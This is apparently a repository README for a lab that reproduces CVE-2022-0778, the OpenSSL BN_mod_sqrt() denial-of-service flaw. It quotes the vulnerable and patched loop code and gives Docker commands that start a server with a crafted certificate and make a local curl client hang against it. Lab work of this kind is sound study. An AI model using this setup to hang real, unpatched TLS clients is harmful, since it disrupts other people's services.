jeongjunsoo/cve-2022-0778Proof-of-concept exploit for CVE-2022-0778, a denial-of-service vulnerability in OpenSSL's BN_mod_sqrt() function, with Docker-based lab environment for testing and analysis.
Contributors
The CVE-2022-0778 vulnerability affects the BN_mod_sqrt() function in OpenSSL that computes the modular square root of a prime number.
When this function processes a maliciously crafted certificate that is not based on a prime number, an unpatched server can be exposed to a DoS attack.
i = 1;
if (!BN_mod_sqr(t, b, p, ctx))
goto end;
while (!BN_is_one(t)) {
i++;
if (i == e) {
ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
goto end;
}
if (!BN_mod_mul(t, t, t, p, ctx))
goto end;
}
for (i = 1; i < e; i++) {
if (i == 1) {
if (!BN_mod_sqr(t, b, p, ctx))
goto end;
} else {
if (!BN_mod_mul(t, t, t, p, ctx))
goto end;
}
if (BN_is_one(t))
break;
}
/* If not found, a is not a square or p is not prime. */
if (i >= e) {
ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
goto end;
}
while loop was changed to a for loop.Ubuntu environment setup
docker compose up -d Run test environment
docker run -it --rm -p 12345:12345 yywing/cve-2022-0778 --addr 0.0.0.0:12345
docker compose exec curl top Check process status
docker compose exec curl bash Run bash
curl -k https://172.17.0.1:12345 Send HTTPS request to port 12345
docker run -it --rm -p 12345:12345 yywing/cve-2022-0778 --addr 0.0.0.0:12345 in terminal A to start the Docker image.
docker compose exec curl top in terminal B to check the status of currently running processes.
docker compose exec curl bash, then send an HTTPS request to port 12345 with curl -k https://172.17.0.1:12345.
while statement was changed to a for statement as a patch.